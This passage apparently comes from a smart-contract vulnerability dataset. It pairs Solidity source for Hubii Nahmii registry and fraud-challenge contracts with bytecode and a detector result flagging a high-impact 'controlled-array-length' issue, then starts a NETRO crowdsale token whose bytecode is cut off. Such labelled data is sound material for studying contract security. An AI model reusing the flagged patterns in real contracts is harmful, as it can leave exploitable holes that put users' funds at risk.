----------------------------------------------------------------------------------------------------------------- constructor(address _deployer) internal notNullOrThisAddress(_deployer) { deployer = _deployer; operator = _deployer; } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Return the address that is able to initiate self-destruction function destructor() public view returns (address) { return deployer; } /// @notice Set the deployer of this contract /// @param newDeployer The address of the new deployer function setDeployer(address newDeployer) public onlyDeployer notNullOrThisAddress(newDeployer) { if (newDeployer != deployer) { // Set new deployer address oldDeployer = deployer; deployer = newDeployer; // Emit event emit SetDeployerEvent(oldDeployer, newDeployer); } } /// @notice Set the operator of this contract /// @param newOperator The address of the new operator function setOperator(address newOperator) public onlyOperator notNullOrThisAddress(newOperator) { if (newOperator != operator) { // Set new operator address oldOperator = operator; operator = newOperator; // Emit event emit SetOperatorEvent(oldOperator, newOperator); } } /// @notice Gauge whether message sender is deployer or not /// @return true if msg.sender is deployer, else false function isDeployer() internal view returns (bool) { return msg.sender == deployer; } /// @notice Gauge whether message sender is operator or not /// @return true if msg.sender is operator, else false function isOperator() internal view returns (bool) { return msg.sender == operator; } /// @notice Gauge whether message sender is operator or deployer on the one hand, or none of these on these on /// on the other hand /// @return true if msg.sender is operator, else false function isDeployerOrOperator() internal view returns (bool) { return isDeployer() || isOperator(); } // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier onlyDeployer() { require(isDeployer()); _; } modifier notDeployer() { require(!isDeployer()); _; } modifier onlyOperator() { require(isOperator()); _; } modifier notOperator() { require(!isOperator()); _; } modifier onlyDeployerOrOperator() { require(isDeployerOrOperator()); _; } modifier notDeployerOrOperator() { require(!isDeployerOrOperator()); _; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title Servable * @notice An ownable that contains registered services and their actions */ contract Servable is Ownable { // // Types // ----------------------------------------------------------------------------------------------------------------- struct ServiceInfo { bool registered; uint256 activationTimestamp; mapping(bytes32 => bool) actionsEnabledMap; bytes32[] actionsList; } // // Variables // ----------------------------------------------------------------------------------------------------------------- mapping(address => ServiceInfo) internal registeredServicesMap; uint256 public serviceActivationTimeout; // // Events // ----------------------------------------------------------------------------------------------------------------- event ServiceActivationTimeoutEvent(uint256 timeoutInSeconds); event RegisterServiceEvent(address service); event RegisterServiceDeferredEvent(address service, uint256 timeout); event DeregisterServiceEvent(address service); event EnableServiceActionEvent(address service, string action); event DisableServiceActionEvent(address service, string action); // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Set the service activation timeout /// @param timeoutInSeconds The set timeout in unit of seconds function setServiceActivationTimeout(uint256 timeoutInSeconds) public onlyDeployer { serviceActivationTimeout = timeoutInSeconds; // Emit event emit ServiceActivationTimeoutEvent(timeoutInSeconds); } /// @notice Register a service contract whose activation is immediate /// @param service The address of the service contract to be registered function registerService(address service) public onlyDeployer notNullOrThisAddress(service) { _registerService(service, 0); // Emit event emit RegisterServiceEvent(service); } /// @notice Register a service contract whose activation is deferred by the service activation timeout /// @param service The address of the service contract to be registered function registerServiceDeferred(address service) public onlyDeployer notNullOrThisAddress(service) { _registerService(service, serviceActivationTimeout); // Emit event emit RegisterServiceDeferredEvent(service, serviceActivationTimeout); } /// @notice Deregister a service contract /// @param service The address of the service contract to be deregistered function deregisterService(address service) public onlyDeployer notNullOrThisAddress(service) { require(registeredServicesMap[service].registered); registeredServicesMap[service].registered = false; // Emit event emit DeregisterServiceEvent(service); } /// @notice Enable a named action in an already registered service contract /// @param service The address of the registered service contract /// @param action The name of the action to be enabled function enableServiceAction(address service, string memory action) public onlyDeployer notNullOrThisAddress(service) { require(registeredServicesMap[service].registered); bytes32 actionHash = hashString(action); require(!registeredServicesMap[service].actionsEnabledMap[actionHash]); registeredServicesMap[service].actionsEnabledMap[actionHash] = true; registeredServicesMap[service].actionsList.push(actionHash); // Emit event emit EnableServiceActionEvent(service, action); } /// @notice Enable a named action in a service contract /// @param service The address of the service contract /// @param action The name of the action to be disabled function disableServiceAction(address service, string memory action) public onlyDeployer notNullOrThisAddress(service) { bytes32 actionHash = hashString(action); require(registeredServicesMap[service].actionsEnabledMap[actionHash]); registeredServicesMap[service].actionsEnabledMap[actionHash] = false; // Emit event emit DisableServiceActionEvent(service, action); } /// @notice Gauge whether a service contract is registered /// @param service The address of the service contract /// @return true if service is registered, else false function isRegisteredService(address service) public view returns (bool) { return registeredServicesMap[service].registered; } /// @notice Gauge whether a service contract is registered and active /// @param service The address of the service contract /// @return true if service is registered and activate, else false function isRegisteredActiveService(address service) public view returns (bool) { return isRegisteredService(service) && block.timestamp >= registeredServicesMap[service].activationTimestamp; } /// @notice Gauge whether a service contract action is enabled which implies also registered and active /// @param service The address of the service contract /// @param action The name of action function isEnabledServiceAction(address service, string memory action) public view returns (bool) { bytes32 actionHash = hashString(action); return isRegisteredActiveService(service) && registeredServicesMap[service].actionsEnabledMap[actionHash]; } // // Internal functions // ----------------------------------------------------------------------------------------------------------------- function hashString(string memory _string) internal pure returns (bytes32) { return keccak256(abi.encodePacked(_string)); } // // Private functions // ----------------------------------------------------------------------------------------------------------------- function _registerService(address service, uint256 timeout) private { if (!registeredServicesMap[service].registered) { registeredServicesMap[service].registered = true; registeredServicesMap[service].activationTimestamp = block.timestamp + timeout; } } // // Modifiers // ----------------------------------------------------------------------------------------------------------------- modifier onlyActiveService() { require(isRegisteredActiveService(msg.sender)); _; } modifier onlyEnabledServiceAction(string memory action) { require(isEnabledServiceAction(msg.sender, action)); _; } } /* * Hubii Nahmii * * Compliant with the Hubii Nahmii specification v0.12. * * Copyright (C) 2017-2018 Hubii AS */ /** * @title FraudChallenge * @notice Where fraud challenge results are found */ contract FraudChallenge is Ownable, Servable { // // Constants // ----------------------------------------------------------------------------------------------------------------- string constant public ADD_SEIZED_WALLET_ACTION = "add_seized_wallet"; string constant public ADD_DOUBLE_SPENDER_WALLET_ACTION = "add_double_spender_wallet"; string constant public ADD_FRAUDULENT_ORDER_ACTION = "add_fraudulent_order"; string constant public ADD_FRAUDULENT_TRADE_ACTION = "add_fraudulent_trade"; string constant public ADD_FRAUDULENT_PAYMENT_ACTION = "add_fraudulent_payment"; // // Variables // ----------------------------------------------------------------------------------------------------------------- address[] public doubleSpenderWallets; mapping(address => bool) public doubleSpenderByWallet; bytes32[] public fraudulentOrderHashes; mapping(bytes32 => bool) public fraudulentByOrderHash; bytes32[] public fraudulentTradeHashes; mapping(bytes32 => bool) public fraudulentByTradeHash; bytes32[] public fraudulentPaymentHashes; mapping(bytes32 => bool) public fraudulentByPaymentHash; // // Events // ----------------------------------------------------------------------------------------------------------------- event AddDoubleSpenderWalletEvent(address wallet); event AddFraudulentOrderHashEvent(bytes32 hash); event AddFraudulentTradeHashEvent(bytes32 hash); event AddFraudulentPaymentHashEvent(bytes32 hash); // // Constructor // ----------------------------------------------------------------------------------------------------------------- constructor(address deployer) Ownable(deployer) public { } // // Functions // ----------------------------------------------------------------------------------------------------------------- /// @notice Get the double spender status of given wallet /// @param wallet The wallet address for which to check double spender status /// @return true if wallet is double spender, false otherwise function isDoubleSpenderWallet(address wallet) public view returns (bool) { return doubleSpenderByWallet[wallet]; } /// @notice Get the number of wallets tagged as double spenders /// @return Number of double spender wallets function doubleSpenderWalletsCount() public view returns (uint256) { return doubleSpenderWallets.length; } /// @notice Add given wallets to store of double spender wallets if not already present /// @param wallet The first wallet to add function addDoubleSpenderWallet(address wallet) public onlyEnabledServiceAction(ADD_DOUBLE_SPENDER_WALLET_ACTION) { if (!doubleSpenderByWallet[wallet]) { doubleSpenderWallets.push(wallet); doubleSpenderByWallet[wallet] = true; emit AddDoubleSpenderWalletEvent(wallet); } } /// @notice Get the number of fraudulent order hashes function fraudulentOrderHashesCount() public view returns (uint256) { return fraudulentOrderHashes.length; } /// @notice Get the state about whether the given hash equals the hash of a fraudulent order /// @param hash The hash to be tested function isFraudulentOrderHash(bytes32 hash) public view returns (bool) { return fraudulentByOrderHash[hash]; } /// @notice Add given order hash to store of fraudulent order hashes if not already present function addFraudulentOrderHash(bytes32 hash) public onlyEnabledServiceAction(ADD_FRAUDULENT_ORDER_ACTION) { if (!fraudulentByOrderHash[hash]) { fraudulentByOrderHash[hash] = true; fraudulentOrderHashes.push(hash); emit AddFraudulentOrderHashEvent(hash); } } /// @notice Get the number of fraudulent trade hashes function fraudulentTradeHashesCount() public view returns (uint256) { return fraudulentTradeHashes.length; } /// @notice Get the state about whether the given hash equals the hash of a fraudulent trade /// @param hash The hash to be tested /// @return true if hash is the one of a fraudulent trade, else false function isFraudulentTradeHash(bytes32 hash) public view returns (bool) { return fraudulentByTradeHash[hash]; } /// @notice Add given trade hash to store of fraudulent trade hashes if not already present function addFraudulentTradeHash(bytes32 hash) public onlyEnabledServiceAction(ADD_FRAUDULENT_TRADE_ACTION) { if (!fraudulentByTradeHash[hash]) { fraudulentByTradeHash[hash] = true; fraudulentTradeHashes.push(hash); emit AddFraudulentTradeHashEvent(hash); } } /// @notice Get the number of fraudulent payment hashes function fraudulentPaymentHashesCount() public view returns (uint256) { return fraudulentPaymentHashes.length; } /// @notice Get the state about whether the given hash equals the hash of a fraudulent payment /// @param hash The hash to be tested /// @return true if hash is the one of a fraudulent payment, else null function isFraudulentPaymentHash(bytes32 hash) public view returns (bool) { return fraudulentByPaymentHash[hash]; } /// @notice Add given payment hash to store of fraudulent payment hashes if not already present function addFraudulentPaymentHash(bytes32 hash) public onlyEnabledServiceAction(ADD_FRAUDULENT_PAYMENT_ACTION) { if (!fraudulentByPaymentHash[hash]) { fraudulentByPaymentHash[hash] = true; fraudulentPaymentHashes.push(hash); emit AddFraudulentPaymentHashEvent(hash); } } }
0x608060405234801561001057600080fd5b50600436106101f95760003560e01c80631456b8f4146101fe57806317ba3f901461021c5780632738a1121461023c5780632b5672e3146102465780632b91e0a9146102595780632f013a001461026c5780633b58c501146102745780633b7bea6c146102875780634476d23b1461028f5780634a63a23a146102a457806350b08c02146102b7578063536739e1146102ca578063570ca735146102dd5780635df1b0a3146102e55780636e4a0c0f146102f857806370327ea11461030057806375d8655b146103085780637ae3ee1c1461031b5780637c1aee3c146103305780637e15dd5c146103385780638080f0081461034b578063863d36081461035e57806388cb0a49146103715780638e8cef12146103845780639243c9db146103975780639537aa1a146103aa57806396214735146103b25780639630db61146103c55780639f641ea7146103d8578063a59129a2146103eb578063b3ab15fb146103fe578063b3ec529c14610411578063d5f3948814610419578063d9af20de14610421578063d9fa4b8d14610434578063e1f5828b14610447578063e592f0f91461045a578063e64e353f1461046d578063ec696d3214610475578063f12aaaf51461047d578063f3aefa8a14610490578063f4bb924d14610498578063fdd9ec7d146104ab575b600080fd5b6102066104be565b6040516102139190611428565b60405180910390f35b61022f61022a366004611277565b6104c4565b604051610213919061141a565b6102446104fc565b005b610244610254366004611295565b610562565b61022f610267366004611277565b61068a565b61022f6106a8565b610244610282366004611295565b6106b1565b61020661078b565b610297610791565b60405161021391906113a8565b6102446102b2366004611277565b6107a5565b6102446102c5366004611277565b6108ab565b6102446102d83660046112e6565b61095b565b610297610a2f565b61022f6102f3366004611295565b610a3e565b610206610a8e565b610244610a94565b6102446103163660046112e6565b610af7565b610323610bcb565b6040516102139190611436565b610206610bfb565b6102446103463660046112e6565b610c01565b61022f6103593660046112e6565b610c52565b61022f61036c3660046112e6565b610c67565b61024461037f3660046112e6565b610c7c565b610244610392366004611277565b610d52565b61022f6103a5366004611277565b610dcc565b610323610dea565b6102446103c0366004611277565b610e17565b61022f6103d33660046112e6565b610ed6565b6102066103e63660046112e6565b610eeb565b61022f6103f93660046112e6565b610f09565b61024461040c366004611277565b610f1e565b610206610fc1565b610297610fc7565b61020661042f3660046112e6565b610fdb565b6102976104423660046112e6565b610fe8565b61022f6104553660046112e6565b61100f565b6102066104683660046112e6565b611024565b610323611031565b610323611066565b61022f61048b366004611277565b611096565b6103236110ab565b61022f6104a63660046112e6565b6110dd565b6102446104b9366004611277565b6110f2565b60065490565b60006104cf8261068a565b80156104f657506001600160a01b0382166000908152600260205260409020600101544210155b92915050565b33610505610791565b6001600160a01b03161461051857600080fd5b60005460ff161561052857600080fd5b7f787a5d936e74f4b564b9153575886059829c78cd9927b1be5e0d976b317ef7363360405161055791906113b6565b60405180910390a133ff5b61056a611167565b61057357600080fd5b816001600160a01b03811661058757600080fd5b6001600160a01b03811630141561059d57600080fd5b6001600160a01b03831660009081526002602052604090205460ff166105c257600080fd5b60006105cd8361117d565b6001600160a01b0385166000908152600260208181526040808420858552909201905290205490915060ff161561060357600080fd5b6001600160a01b03841660009081526002602081815260408084208585528084018352818520805460ff19166001908117909155938352600301805493840181558452922001829055517fec1b982d69bfc1a6fd8becf191d9a633486c822d3bdedd52303ca81fa63575019061067c90869086906113df565b60405180910390a150505050565b6001600160a01b031660009081526002602052604090205460ff1690565b60005460ff1681565b6106b9611167565b6106c257600080fd5b816001600160a01b0381166106d657600080fd5b6001600160a01b0381163014156106ec57600080fd5b60006106f78361117d565b6001600160a01b0385166000908152600260208181526040808420858552909201905290205490915060ff1661072c57600080fd5b6001600160a01b0384166000908152600260208181526040808420858552909201905290819020805460ff19169055517f92f4af6130f47c92f3899e06611c8c6ef191fb81207ad2675d134af619d2fe7d9061067c90869086906113df565b60035481565b60005461010090046001600160a01b031690565b6040518060400160405280601981526020017818591917d91bdd589b1957dcdc195b99195c97ddd85b1b195d603a1b8152506107e13382610a3e565b6107ea57600080fd5b6001600160a01b03821660009081526005602052604090205460ff166108a7576004805460018082019092557f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b0180546001600160a01b0319166001600160a01b03851690811790915560009081526005602052604090819020805460ff1916909217909155517f7bdc3027f69aa28210c338755735fa13356565e45e57b4619f5daf6e8468651f9061089e9084906113a8565b60405180910390a15b5050565b6108b3611167565b6108bc57600080fd5b806001600160a01b0381166108d057600080fd5b6001600160a01b0381163014156108e657600080fd5b6001600160a01b03821660009081526002602052604090205460ff1661090b57600080fd5b6001600160a01b03821660009081526002602052604090819020805460ff19169055517f777645c5437dfbf962f57a281ead25f3d513f2f8e938685bbfc1738e81c9880e9061089e9084906113a8565b6040518060400160405280601481526020017330b2322fb33930bab23ab632b73a2fb7b93232b960611b8152506109923382610a3e565b61099b57600080fd5b60008281526007602052604090205460ff166108a757600082815260076020526040808220805460ff191660019081179091556006805491820181559092527ff652222313e28459528d920b65115c16c04f3efc82aaedc97be59f3f377c0d3f909101839055517f58f26ba178664be60e092a2f3678dd4201d8067c10e39f0c21105829ff8921e09061089e908490611428565b6001546001600160a01b031681565b600080610a4a8361117d565b9050610a55846104c4565b8015610a8657506001600160a01b0384166000908152600260208181526040808420858552909201905290205460ff165b949350505050565b600a5490565b33610a9d610791565b6001600160a01b031614610ab057600080fd5b6000805460ff191660011790556040517fd5a2a04a775c741c2ca0dc46ea7ce4835190e1aaf1ca018def0e82568ec3361690610aed9033906113b6565b60405180910390a1565b604051806040016040528060148152602001736164645f6672617564756c656e745f747261646560601b815250610b2e3382610a3e565b610b3757600080fd5b60008281526009602052604090205460ff166108a757600082815260096020526040808220805460ff191660019081179091556008805491820181559092527ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee3909101839055517f5bc657148f2e68c1efcbaaf372c06ca64e451c73e50a987542e0e156037887579061089e908490611428565b604051806040016040528060148152602001736164645f6672617564756c656e745f747261646560601b81525081565b60045490565b610c09611167565b610c1257600080fd5b60038190556040517f4f1d324a1cbffc352fb64f1d73d95e4b200d92f99ef39bf2d7f5b41f946909d690610c47908390611428565b60405180910390a150565b60096020526000908152604090205460ff1681565b6000908152600b602052604090205460ff1690565b6040518060400160405280601681526020017518591917d99c985d591d5b195b9d17dc185e5b595b9d60521b815250610cb53382610a3e565b610cbe57600080fd5b6000828152600b602052604090205460ff166108a7576000828152600b6020526040808220805460ff19166001908117909155600a805491820181559092527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a8909101839055517f33be9e400d3510c9b2034ebe5a128e2f0d3333b7813053c8aa7f4901a4861a859061089e908490611428565b610d5a611167565b610d6357600080fd5b806001600160a01b038116610d7757600080fd5b6001600160a01b038116301415610d8d57600080fd5b610d99826003546111ad565b7f7f3a8349917003ed377f6e9ae1608b92edd893903f8983bd274b1f8373dd3b118260035460405161089e9291906113ff565b6001600160a01b031660009081526005602052604090205460ff1690565b6040518060400160405280601181526020017018591917dcd95a5e995917ddd85b1b195d607a1b81525081565b610e1f611167565b610e2857600080fd5b806001600160a01b038116610e3c57600080fd5b6001600160a01b038116301415610e5257600080fd5b6000546001600160a01b0383811661010090920416146108a757600080546001600160a01b03848116610100908102610100600160a81b03198416179093556040519290910416907f977e5fa58e458501775e0008d275006294c5249e3c08d1d0e3a9f3acad14f6e490610ec990839086906113c4565b60405180910390a1505050565b600b6020526000908152604090205460ff1681565b60068181548110610ef857fe5b600091825260209091200154905081565b60009081526009602052604090205460ff1690565b610f266111fc565b610f2f57600080fd5b806001600160a01b038116610f4357600080fd5b6001600160a01b038116301415610f5957600080fd5b6001546001600160a01b038381169116146108a757600180546001600160a01b038481166001600160a01b03198316179092556040519116907f9f611b789425d0d5b90b920f1b2852907dd865c80074a30b1629aaa041d1812c90610ec990839086906113c4565b60085490565b60005461010090046001600160a01b031681565b60088181548110610ef857fe5b60048181548110610ff557fe5b6000918252602090912001546001600160a01b0316905081565b60009081526007602052604090205460ff1690565b600a8181548110610ef857fe5b6040518060400160405280601981526020017818591917d91bdd589b1957dcdc195b99195c97ddd85b1b195d603a1b81525081565b6040518060400160405280601481526020017330b2322fb33930bab23ab632b73a2fb7b93232b960611b81525081565b60056020526000908152604090205460ff1681565b6040518060400160405280601681526020017518591917d99c985d591d5b195b9d17dc185e5b595b9d60521b81525081565b60076020526000908152604090205460ff1681565b6110fa611167565b61110357600080fd5b806001600160a01b03811661111757600080fd5b6001600160a01b03811630141561112d57600080fd5b6111388260006111ad565b7fb619d545cb511bd5f02907a1eac4f4cb8dace7b1846852fb0bf5e553937481c18260405161089e91906113a8565b60005461010090046001600160a01b0316331490565b6000816040516020016111909190611395565b604051602081830303815290604052805190602001209050919050565b6001600160a01b03821660009081526002602052604090205460ff166108a7576001600160a01b0382166000908152600260205260409020805460ff1916600190811782554283019101555050565b6001546001600160a01b0316331490565b80356104f68161151c565b80356104f681611533565b600082601f83011261123457600080fd5b81356112476112428261146d565b611447565b9150808252602083016020830185838301111561126357600080fd5b61126e8382846114d6565b50505092915050565b60006020828403121561128957600080fd5b6000610a86848461120d565b600080604083850312156112a857600080fd5b60006112b4858561120d565b92505060208301356001600160401b038111156112d057600080fd5b6112dc85828601611223565b9150509250929050565b6000602082840312156112f857600080fd5b6000610a868484611218565b61130d816114c5565b82525050565b61130d816114a6565b61130d816114b1565b61130d816114b6565b600061133982611494565b6113438185611498565b93506113538185602086016114e2565b61135c81611512565b9093019392505050565b600061137182611494565b61137b81856114a1565b935061138b8185602086016114e2565b9290920192915050565b60006113a18284611366565b9392505050565b602081016104f68284611313565b602081016104f68284611304565b604081016113d28285611313565b6113a16020830184611313565b604081016113ed8285611313565b8181036020830152610a86818461132e565b6040810161140d8285611313565b6113a16020830184611325565b602081016104f6828461131c565b602081016104f68284611325565b602080825281016113a1818461132e565b6040518181016001600160401b038111828210171561146557600080fd5b604052919050565b60006001600160401b0382111561148357600080fd5b506020601f91909101601f19160190565b5190565b90815260200190565b919050565b60006104f6826114b9565b151590565b90565b6001600160a01b031690565b60006104f68260006104f6826114a6565b82818337506000910152565b60005b838110156114fd5781810151838201526020016114e5565b8381111561150c576000848401525b50505050565b601f01601f191690565b611525816114a6565b811461153057600080fd5b50565b611525816114b656fea365627a7a723058205dbbbebd485bd23f9a3b9a4f70fc5383d88449c61c1e1d03ff070800c3f4ac976c6578706572696d656e74616cf564736f6c63430005090040
{"success": true, "error": null, "results": {"detectors": [{"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
3,076
0xd69bce10abbe0ba875c270dc9e5dfd306631e0fb
/** * @title NETRO NETWORK * @dev Official NETRO Token contract * * 888b 8888888888888888888888888888888b. .d88888b. * 88888b 888888 888 888 888888 888 * 888Y88b 8888888888 888 888 d88P888 888 * 888 Y88b888888 888 8888888P" 888 888 * 888 Y88888888 888 888 T88b 888 888 * 888 Y8888888 888 888 T88b Y88b. .d88P * 888 Y8888888888888 888 888 T88b "Y88888P" * THE FUTURE OF ONLINE FINANCE */ pragma solidity ^0.4.26; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. **/ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. **/ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). **/ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. **/ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". **/ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender account. **/ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. **/ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. **/ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } /** * @title ERC20Basic interface * @dev Basic ERC20 interface **/ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 **/ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken **/ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence **/ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. **/ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. **/ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * * @dev NETRO variables * 400K for staking, 290K for Liquidity, 100K team dev funds, 50K marketing, 10k bounty fund * @dev Will be transfering these funds to appropriate wallets on deployment * **/ contract Configurable { uint256 public constant cap = 150000*10**18; // 150K for presale uint256 public constant basePrice = 250*10**18; // tokens per 1 ether uint256 public tokensSold = 0; uint256 public constant tokenReserve = 850000*10**18; // 400K for staking, 290K for Liquidity, 100K team dev funds, 50K marketing, 10k bounty fund uint256 public remainingTokens = 0; } /** * @title CrowdsaleToken * @dev Contract to preform NETRO Token crowdsale **/ contract CrowdsaleToken is StandardToken, Configurable, Ownable { /** * @dev enum of current crowd sale state **/ enum Stages { none, icoStart, icoEnd } Stages currentStage; /** * @dev constructor of Crowdsale for NETRO **/ constructor() public { currentStage = Stages.none; balances[owner] = balances[owner].add(tokenReserve); totalSupply_ = totalSupply_.add(tokenReserve); remainingTokens = cap; emit Transfer(address(this), owner, tokenReserve); } /** * @dev fallback function to send ether to for Crowd sale **/ function () public payable { require(currentStage == Stages.icoStart); require(msg.value > 0); require(remainingTokens > 0); uint256 weiAmount = msg.value; // sum tokens to sell uint256 tokens = weiAmount.mul(basePrice).div(1 ether); uint256 returnWei = 0; if(tokensSold.add(tokens) > cap){ uint256 newTokens = cap.sub(tokensSold); uint256 newWei = newTokens.div(basePrice).mul(1 ether); returnWei = weiAmount.sub(newWei); weiAmount = newWei; tokens = newTokens; } tokensSold = tokensSold.add(tokens); // increase raised amount remainingTokens = cap.sub(tokensSold); if(returnWei > 0){ msg.sender.transfer(returnWei); emit Transfer(address(this), msg.sender, returnWei); } balances[msg.sender] = balances[msg.sender].add(tokens); emit Transfer(address(this), msg.sender, tokens); totalSupply_ = totalSupply_.add(tokens); owner.transfer(weiAmount);// Send money to owner } /** * @dev startIco starts the public crowdsale **/ function startIco() public onlyOwner { require(currentStage != Stages.icoEnd); currentStage = Stages.icoStart; } /** * @dev endIco closes down the crowdsale **/ function endIco() internal { currentStage = Stages.icoEnd; // Transfer any remaining tokens if(remainingTokens > 0) balances[owner] = balances[owner].add(remainingTokens); // transfer any remaining ETH balance in the contract to the owner owner.transfer(address(this).balance); } /** * @dev finalizeIco closes the crowdsale and sets varriables **/ function finalizeIco() public onlyOwner { require(currentStage != Stages.icoEnd); endIco(); } } /** * @title ANETROProject * @dev Contract to create the ANETRO Token **/ contract ANETROProject is CrowdsaleToken { string public constant name = "NETRO.NETWORK"; string public constant symbol = "NETRO"; uint32 public constant decimals = 18; }
0x608060405260043610610112576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104c1578063095ea7b31461055157806318160ddd146105b657806323b872dd146105e1578063313ce56714610666578063355274ea1461069d578063518ab2a8146106c857806366188463146106f357806370a082311461075857806389311e6f146107af5780638da5cb5b146107c6578063903a3ef61461081d57806395d89b4114610834578063a9059cbb146108c4578063bf58390314610929578063c7876ea414610954578063cbcb31711461097f578063d73dd623146109aa578063dd62ed3e14610a0f578063f2fde38b14610a86575b60008060008060006001600281111561012757fe5b600560149054906101000a900460ff16600281111561014257fe5b14151561014e57600080fd5b60003411151561015d57600080fd5b600060045411151561016e57600080fd5b3494506101a7670de0b6b3a7640000610199680d8d726b7177a8000088610ac990919063ffffffff16565b610b0190919063ffffffff16565b935060009250691fc3842bd1f071c000006101cd85600354610b1790919063ffffffff16565b1115610248576101f2600354691fc3842bd1f071c00000610b3390919063ffffffff16565b915061022a670de0b6b3a764000061021c680d8d726b7177a8000085610b0190919063ffffffff16565b610ac990919063ffffffff16565b905061023f8186610b3390919063ffffffff16565b92508094508193505b61025d84600354610b1790919063ffffffff16565b600381905550610282600354691fc3842bd1f071c00000610b3390919063ffffffff16565b600481905550600083111561033e573373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501580156102d7573d6000803e3d6000fd5b503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a35b61038f846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffff